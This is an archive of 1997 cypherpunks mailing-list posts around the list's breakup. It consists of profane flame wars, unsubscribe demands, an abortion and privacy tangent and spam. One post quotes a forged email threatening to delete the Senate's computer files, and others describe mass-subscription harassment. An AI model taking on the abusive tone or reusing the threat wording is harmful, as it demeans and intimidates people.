credibility is shot".  A related lesson: "An excuse is the skin of
a reason packed with a lie".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:42:09 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702180142.RAA19145@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
> are good resources; just about anything you might want is available.
> However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
> Newsgroup folks-thanx Dimi--there *is* a difference).
> Yea, (as D. Thorn might babble, if I understand the shards of his stuff
> quoted in the posts of those who should know better) when I was a young
> fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
> have any idea what metallic sodium and red fuming nitric acid and Willy
> Ley-strength Hydrogen Peroxide are all about?"

Yea, tho' they kicked me out of school for stashing this stuff in
my wall locker, does that make me a bad person, or stupid?  Lots
of patriots in the late 1700's blew themselves up trying to make
explosives for the cause.  One person's freedom fighter....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 17 Feb 1997 20:02:10 -0800 (PST)
To: snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180402.UAA22251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:52 PM 2/17/97 -0700, drose@AZStarNet.com wrote:
>Yea, (as D. Thorn might babble, if I understand the shards of his stuff
>quoted in the posts of those who should know better) when I was a young
>fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
>have any idea what metallic sodium and red fuming nitric acid and Willy
>Ley-strength Hydrogen Peroxide are all about?"

Yes, those nosy shopkeepers should really keep it to themselves!  I remember 
at about age 14 being pissed because I'd been sold _10%_ nitric acid, 
when I was expecting the 70% stuff!  Within a few weeks I was buying direct 
from his supplier!






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Terry L. Davis" <terryld@earthlink.net>
Date: Mon, 17 Feb 1997 21:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Removal from newsgroup listing
Message-ID: <199702180512.VAA23682@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm not certain how I got on the cypherpunks newlist, but it's way over 
my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 17 Feb 1997 19:22:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:28 PM 2/17/97 -0800, you wrote:


:anomalies in the new system,

[now the big words!]

:given the haste in which they must initiate a new distributed
:mailing list system.
:  On the other hand, they may all be godless communists, seeking
:to twist our fragile minds to do their bidding. (Much like myself)
:
:Toto

I recant. You ARE nuts!

Alec

Niice post.  
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Message PGP 2.6.2. encrypted.  Public key available on request or
from keyservers.

iQCVAgUBMwkMFiKJGkNBIH7lAQHNKQP/dDV5v6wREV37IPkaJTfQqL35c4MyFNfK
t4/KmgneKmzGX9uqGzd8Z6kCeRk5vBhAbrhVsqaOhvZouakj2YWe1JbRZWmy+gNR
ohY2NERNi0Xm5S1PUrwjQAJutFlw2VV+CZ4GYa/0IV3Fn++GzeZFENbOt6zBTkEZ
PsWVhjvoRPU=
=3ZEn
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 21:11:12 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180511.VAA23606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My dear fellow:

I suppose you missed the notion that, on the Internet, *some* folks know
that you are a dog.

P.S. You, Dimi, D. Thorn, Dimi, "Nurdane Oskas", Dimi, "Awaken to Me",
Dimi,"World's Youngest Cypherpunk", Dimi, "Andre the Cypherpunk", Dimi, etc.
etc. are to be commended if not appreciated for your efforts in ruining an
amazingly good thing.  See you in alt.baloney.  Incidentally, do you
habitually defecate (FYI, that's "to discharge feces from the bowels") in
your own single-wide? (Son, that's a rhetorical question.)

The very fact that you shamelessly and boneheadedly refuse to keep your head
down after all of the damage that you and your lot have caused (with 1K+
lurkers "looking on") is worthy, certainly, of some serious consideration.

Ia! Ia! Cthulhu Fhtagn!

>drose@azstarnet.com wrote:
>> 
>> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
>> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? 
>
>  Sounds like this is an on-topic post for the 'flames' list.
>
>Toto
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 21:11:07 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The Science Generations, II
Message-ID: <199702180511.VAA23595@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
subscribed to a million and one lists that I never knew I needed (and so
quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
is going away *real * quick, so save your keystrokes. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 07:26:07 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702181526.HAA05730@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> My dear fellow:
> I suppose you missed the notion that, on the Internet, *some* folks know
> that you are a dog.

If you, sir or madam, had 1/10 the brainpower that the most active
subscribers to this list have, you would:

1. Understand the subtleties I put forth (ditto Toto and Dr. V).
2. Be able to filter who you don't want to read.
3. Help other less fortunates like yourself to learn filtering.

It is you who pollute the list with worthless crap, which you falsely
interpret as criticism, but which is actually a poor excuse for
what you've failed to learn in life.

A pox on you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 07:26:04 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
Message-ID: <199702181526.HAA05719@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> 
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

My point has been proven once again!  Another spineless coward pollutes
the list with worthless criticism, and then slinks away from those s/he
attacks like a mangy coyote.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 18 Feb 1997 07:26:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
Message-ID: <199702181526.HAA05736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Dale Thorn wrote:

> Date: Mon, 17 Feb 1997 17:12:19 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Cypherpunks FAQ
> 
> Toto wrote:
> > ISP_Ratings wrote:
> > >   Yes--and given the role Dr. Vulis has played in this matter
> > > it would be most appropriate for him to write an FAQ (although
> > > I personally ignore most FAQs).
> 
> >Perhaps it would be more appropriate for the good doctor to write a FUQs.
> 
> Why not do it like the Declaration of Independence?  A primary author
> puts the basic document together, and other persons with expertise in
> other important areas add to it, then it gets circulated on the list
> for comments and suggestions.
> 
> "Other areas" not normally addressed in these kinds of documents
> should include subscribers' awareness that the crypto lists are
> a prime target of attention from federal agencies, et al, and
> that much of the material posted could be pure disinformation.
> 

I do not think that any Federal Agency would be interested in any
group so undisciplined as cypherpunks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 07:41:24 -0800 (PST)
To: drose@azstarnet.com
Subject: Drose / You're a fucking idiot!
Message-ID: <199702181541.HAA06048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

  I generally try to be fairly civil in my postings, and refrain from
personal insults, but I will make an exception, here.
  So listen up, shit-for-brains, and I will try to explain a few concepts
that you seem to be too dim-witted to understand.

  I am a CypherPunk.
  I have a <Delete> key, and I know how to use it.
  When my personal account is subjected to spam-attacks and unwanted
subscriptions to a multitude of lists, I deal with it. I don't make
baseless accusations against others based on their perceived public
reputation, or my own subjective perception of their reputation
capital.

  I am not just a CypherPunk, I am also an adult.
  I take responsibility for my own actions, and I keep those actions
within the bounds of what I perceive to be acceptable ethics and
personal integrity.
  If you think that I am responsible for this-or-that action in regard
to yourself, then all you have to do is ask me, and I will tell you. I
don't make any bones about my beliefs and views, and I don't have any
problem with others opposing my beliefs and views.
  When I launch an attack on someone, right or wrong, it is a frontal
assault, not a hidden one. When I post anonymously to the list, or
send anonymous email, I do not use remailers, in order that anyone
with the will and wit to do so may easily discern my pseudonyms through
the headers and use of the 'trace' command.

  If you think that I am the source of your problems, then you are a
fucking idiot.
  I have no idea who you are, and can only vaguely recall the content
or context of your past posts to the list. As such, I would certainly
have little motivation for lifting even my little pinkie against you
in a conspiratorial attack on you.
  I would suggest that the only 'fixations' involved between you and
myself are coming from your end of the electromagnetic spectrum. I would
also suggest that you get your head out of your electromagnetic rectum.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 18 Feb 1997 14:12:22 -0800 (PST)
To: Vin McLellan <tcmay@got.net
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182212.OAA11960@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>(And I always thought the "woman's right to privacy" argument for abortion
>>was flaky. Accepting such an argument, wouldn't infanticide be equally
>>protected by a woman's right to privacy?)
>>
>>--Tim May
>
>	Whoa! This begs a thoughful response, but I don't have time right
>now.  Might it suffice to suggest that a privacy claim -- a demand for
>control over what concerns her, her alone, or (on balance) her more than
>any other -- seems reasonable to extend to both contraception and early
>abortion?  For many of us, by the same logic, and with the same moral
>comfort.
>
[ more discussion of abortion snippped. ]
>	To my mind, any attempt to control what is done to the woman's body
>(by her choice) while the prospective child is but a bit of enhanced
>potential, much much less than a viable child, is an unconstitutional and
>morally-invalid attempt by others (the state, the church, the country club)
>to pre-empt her will, and prescribe or dictate a wholly new value system
>for her.
>
>         Vin McLellan + The Privacy Guild + <vin@shore.net>
>      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548

Let's not start this.

Tim wasn't arguing for or against abortion; he made no comments
about abortion. His comment was that the _argument_ used to "legalize"
abortion was unconvincing to him.

If we are going to discuss privacy, that's fine.
It we are going to discuss abortion, there are better fora.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Tue, 18 Feb 1997 09:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: ##$!@#$#@!$#
Message-ID: <199702181711.JAA07650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



cual es la fecha?

czesc, tak mal na dodjze kajka....



-- 



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 14:36:41 -0800 (PST)
To: Vin McLellan <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182236.OAA12443@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:51 PM -0500 2/18/97, Vin McLellan wrote:
>      Marshall Clow wrote:
>
>>Let's not start this.... <snip>
>
>>If we are going to discuss privacy, that's fine.
>>It we are going to discuss abortion, there are better fora.
>
>          Right, Marshall. I was attempting to respond directly to Tim's
>comment, but I too have no desire to let the end of C'punks be yet another
>sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
>response roll over me;-).

Then why did you begin an abortion debate?

I made no claims one way or another about abortion, but cited the issue as
the main place the "right to privacy" issue has come to the fore. And I
said I found the argument uncompelling. I did not say I was against
abortion, for abortion, or, for that matter, for or against infanticide.

>        (Jeeze! Anyone else feel like these are the Final Days, like when a
>company goes bankrupt, or graduation day or the like??  I hope one of these
>C'punkish alternatives will provide an opportunity for some of the same
>thoughtful and stimulating engagements that toad.com hosted.)

Unsurprisingly, I've gotten some of the messages from folks I often get
when people dislike some post I've made. They go like this:

"Tim, I really like some of your posts. But, Jeez, give it a rest on
foobar! Can't you go back to writing about lahdidah?"

In other words, the reader wishes I would write only about what he or she
is interested in. Well, pay me my consulting rate and I'll do just that.

I've written many thousands of articles over the past 4.5 years...some of
them very long articles, some very short, most of medium length. (I despise
one-line repartee, and I'm glad our list has never fallen into this mode as
so many other lists have.)

I write about what I find interesting. You all know where the Delete key is.

(Of course, a fairly large fraction of my recent posts have been deleted
for you by Sandy, who sends many of my posts to neither the Main list nor
the Flames list. Bet a lot of you didn't know this, did you?)

--Tim May



>       Respect to all, pro-choice and pro-life,
>
>                _Vin


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 18 Feb 1997 14:14:20 -0800 (PST)
To: alexandr@win.tue.nl
Subject: Re: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702182214.OAA12019@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: alexandr@win.tue.nl, cypherpunks@toad.com, home@collegehill.com
Date: Tue Feb 18 13:49:43 1997

I checked with the people at College Hill Internet by forwarding your 
msg to them to which they replied.

**N.B. - College Hill did my page so I know them to be reputable.

Long story short, they worked on a web page for a particular political 
campaign and, during the process of doing the web consulting, they  
briefly set up an e-mail account for them on their server.

Since then, they have been treated to a regular supply of spam from 
various persons who think that is still the Senator's address.  They've 
received threatening spam (about 200 hundred copies of it) which was 
bounced from them back to senders who in this case weren't even the 
senders, etc. etc. etc.

The headers reflect that they've been forged.  Understandably, College 
Hill is concerned that, those people who might not understand the 
headers that well, will conclude College Hill as being the spammers - 
which could damage their reputation.

Hope this answers (at least part of) your question.

Lynne



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 14:12:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182212.OAA11939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:33 AM 2/18/97 -0800, you wrote:

:Let's not start this.
:
:Tim wasn't arguing for or against abortion; he made no comments
:about abortion. His comment was that the _argument_ used to "legalize"
:abortion was unconvincing to him.
:
:If we are going to discuss privacy, that's fine.
:It we are going to discuss abortion, there are better fora.
:
:
:-- Marshall
:
:Warning: Objects in calendar are closer than they appear.

Good for you!!!!!

I appreciate your post. However, it smells like a Daleism.
I revel in fora. (Had to think about that.)
Nice sig too.

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 14:12:12 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: Stop sending me your shit
Message-ID: <199702182212.OAA11949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:38 PM 2/18/97 +0200, you wrote:
:	
:Get me off your list or else ..... . Get me out your fuckin list assholes.

Certainly you learned on your mother's knee that you can get more of what
you want from other people with kindness rather than anger and rudeness.
What did she say about using foul words? Lets think about these things.

You may be in for a long stay here. These folks can be downright nasty
sometimes.

You've got friends here. Let's be nice and keep it that way.

Now what do we say?????? 

Alec 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 14:26:47 -0800 (PST)
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702182226.OAA12254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


      Marshall Clow wrote:

>Let's not start this.... <snip>

>If we are going to discuss privacy, that's fine.
>It we are going to discuss abortion, there are better fora.

          Right, Marshall. I was attempting to respond directly to Tim's
comment, but I too have no desire to let the end of C'punks be yet another
sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
response roll over me;-).  

        (Jeeze! Anyone else feel like these are the Final Days, like when a
company goes bankrupt, or graduation day or the like??  I hope one of these
C'punkish alternatives will provide an opportunity for some of the same
thoughtful and stimulating engagements that toad.com hosted.)

       Respect to all, pro-choice and pro-life,

                _Vin







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexandra Janssen - Raemaekers <alexandr@win.tue.nl>
Date: Tue, 18 Feb 1997 07:41:33 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702181541.HAA06068@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I really don't know what this is all about!!!!
This is one of the messages that I seemed to have sent......
I can give you about 

Apparently-To: vice.president@whitehouse.gov, first.lady@whitehouse.gov,
		Bclinton@Washington.DC, feedback@www.whitehouse.gov,
		Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
		sessions@wrldnet.net, senator@shelby.senate.gov,
		senator@bumpers.senate.gov, info@kyl.senate.gov,
		Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
		senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
		senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
		bob_graham@graham.senate.gov, connie@mack.senate.gov,
		senator_coverdell@coverdell.senate.gov, senator@inouye.senate.gov,
		tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
		larry_craig@craig.senate.gov, dirk_kempthorne@kempthorne.senate.gov,
		senator@moseley-braun.senate.gov, lugar@iquest.net,
		wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
		senator@breaux.senate.gov, senator@kennedy.senate.gov,
		john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
		senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
		senator@levin.senate.gov, michigan@abraham.senate.gov,
		mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
		john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
		senator@cochran.senate.gov, max@baucus.senate.gov,
		conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
		jesse_helms@helms.senate.gov, senator@conrad.senate.gov,
		senator@dorgan.senate.gov, email@hagel96.com, bob@kerrey.senate.gov,
		mailbox@gregg.senate.gov, opinion@smith.senate.gov,
		frank_lautenberg@lautenberg.senate.gov, torricel@torricelli.com,
		Senator_Bingaman@bingaman.senate.gov,
		senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
		senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
		senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
		senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
		senator@wyden.senate.gov, senator@santorum.senate.gov,
		senator_specter@specter.senate.gov, senator_chafee@chafee.senate.gov,
		reed@collegehill.com, senator@thurmond.senate.gov,
		senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
		senator_thompson@thompson.senate.gov, senator_frist@frist.senate.gov,
		senator@hutchison.senate.gov, senator@bennett.senate.gov,
		senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
		senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
		 vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
		 Senator_Gorton@gorton.senate.gov, russell_feingold@feingold.senate.gov,
		 senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
		 senator@rockefeller.senate.gov, mike@enzi.senate.gov,
		 craig@thomas.senate.gov


names who got this message from the gang of cypherpunks. What is 
this ????

Forwarded message:
> From home@collegehill.com Tue Feb 18 15:05:24 1997
> Message-Id: <3.0.32.19970218100100.00731388@pop03.ca.us.ibm.net>
> Precedence: bulk
> X-Sender: chill03@pop03.ca.us.ibm.net
> X-Mailer: Windows Eudora Pro Version 3.0 (32)
> Date: Tue, 18 Feb 1997 10:03:05 -0500
> To: alexandr@win.tue.nl
> From: College Hill Internet <home@collegehill.com>
> Subject: Address -- Invalid (was Re: message to USSA Senate)
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> At 12:45 AM 2/18/97 PST, you wrote:
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.
> >
> >

I'm furious! Now I get about 10 messages every 15 minutes of mail delivered
and lots of other trash. Who 's got the courage to admit this crime ?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 17:11:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
Message-ID: <199702190111.RAA14473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 2/18/97 -0500, Alec wrote:
>At 08:38 PM 2/18/97 +0200, you wrote:
>:	
>:Get me off your list or else ..... . Get me out your fuckin list assholes.
>
>Certainly you learned on your mother's knee that you can get more of what
>you want from other people with kindness rather than anger and rudeness.
>What did she say about using foul words? Lets think about these things.
>
>You may be in for a long stay here. These folks can be downright nasty
>sometimes.
>
...
Personally, I just responded to one persons statement, (the one with the
modicum of courtesy) and decided to let this looser languish, (because of
his foul additude).
I think that by this, maybe, he'll learn not to bite the hand of the persons
who he is asking for help from.
It also gives me a none too innocent feeling of graditude to know that this
person will suffer a little longer, all because I decided that I didn't like
him.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 14:13:16 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Stop sending me your shit
Message-ID: <199702182213.OAA11991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	
Get me off your list or else ..... . Get me out your fuckin list assholes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 14:12:03 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Stop sending me your shit
Message-ID: <199702182212.OAA11924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Get me off your list or else ..... . Get me out your fuckin list assholes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 18 Feb 1997 14:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: article on "Wired News"
Message-ID: <199702182226.OAA12235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"http://www.wired.com/news/" -- headline: " Monday
	Homeless Cypherpunks Turn to Usenet 
	      The 1,400-strong group splinters into three alt.
		    subgroups and a mailing list - but they have
			  plans for staying united. "


"STAYING united"?  Ha ha ha ha!


That's funny!


Keep in touch, y'all.  :-)


Bryce

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PIONEER146@aol.com
Date: Tue, 18 Feb 1997 20:26:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <199702190426.UAA17302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove from the mailing list, please.  Thank you.  Pioneer146@aol.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Ehling <mehling@ibm.net>
Date: Tue, 18 Feb 1997 21:56:18 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702190556.VAA18680@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 2/14/97 -0800, you wrote:
<snip>
>
>Having been "on" the net for over 15 years -- and with experience
>in both ends of the censorship/moderation problem  (I'm probably
>the only Cypherpunks member to have had a book "banned in Boston"),
>I'm sorry that a handful of sociopaths managed to destroy this
>experiment in anarchy, but I suspect that this was inevitable.
>
>Martin Minow
>minow@apple.com
>

For the FWIW dept:
----------------------------------------------------------------------------
----------
Hmm...yes I agree.  Handful of sociopaths.  Inevitable?  Perhaps.  

On one hand anarchy, on the other control.  Free-wheeling vs. stifling.
Complete free speech vs. censorship.    

Oh, sure.  You can always say that one is more "right" than the other.  But
I believe everyone sees the validity of both sides...whether you agree with
them is another thing. So, we seem stuck between the two. And yet, they say
there is always a third option.  We just need some time to pull away and
see it.  

This "experiment in anarchy" may be coming to an end.  But I like your
choice of words: "experiment."  We've learned a great deal through this
one.  Perhaps next time we'll structure things differently.  Who knows?
Long after the last packet leaves cyhperpunks@toad.com, the spirit, the
ideas and ideals will remain.

Take good care,

Michael Ehling
mehling@ibm.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Tue, 18 Feb 1997 21:57:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: 7.9 cpm long-distance
Message-ID: <199702190557.VAA18720@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Starway Telecommunications Inc. Announces . . .

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anywhere in the US for 7.9 cpm, including your own state! Calls to 
Canada at 9.9! Canada to Canada at 7.9 too! Calling cards - 9.9 cpm! 
It's unbelievable!

Don't worry about switching carriers, you don't need to. Still waiting
for the mystical "BLACKBOX" technology? We've got the low rates
secure NOW without the box and we will be the first ones with the 
boxes when they are released! Other companies promise it - we've 
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Contracts have been signed between a major health related 
network marketing firm called Neways, with 750,000 distributors 
and grossing $100 million in 1996, and each of the top three 
long distance carriers, to create Starway Telecommunications Inc.

Low international rates will be released later this week! Cellular 
long-distance rumored to be at 7.9 as well. And cellular service 
will be available in another month. Pagers and many other services 
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Sounds like an incredible company, doesn't it? They are! Want 
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Structure Marketing Group
**************************************************************
If you wish to be removed from our future mailings simply
reply with "REMOVE" in the subject and place your email
address in the body. You must do this correctly to be removed.
**************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 09:26:53 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
Message-ID: <199702191726.JAA27106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 15:27:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
Message-ID: <199702192327.PAA01740@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
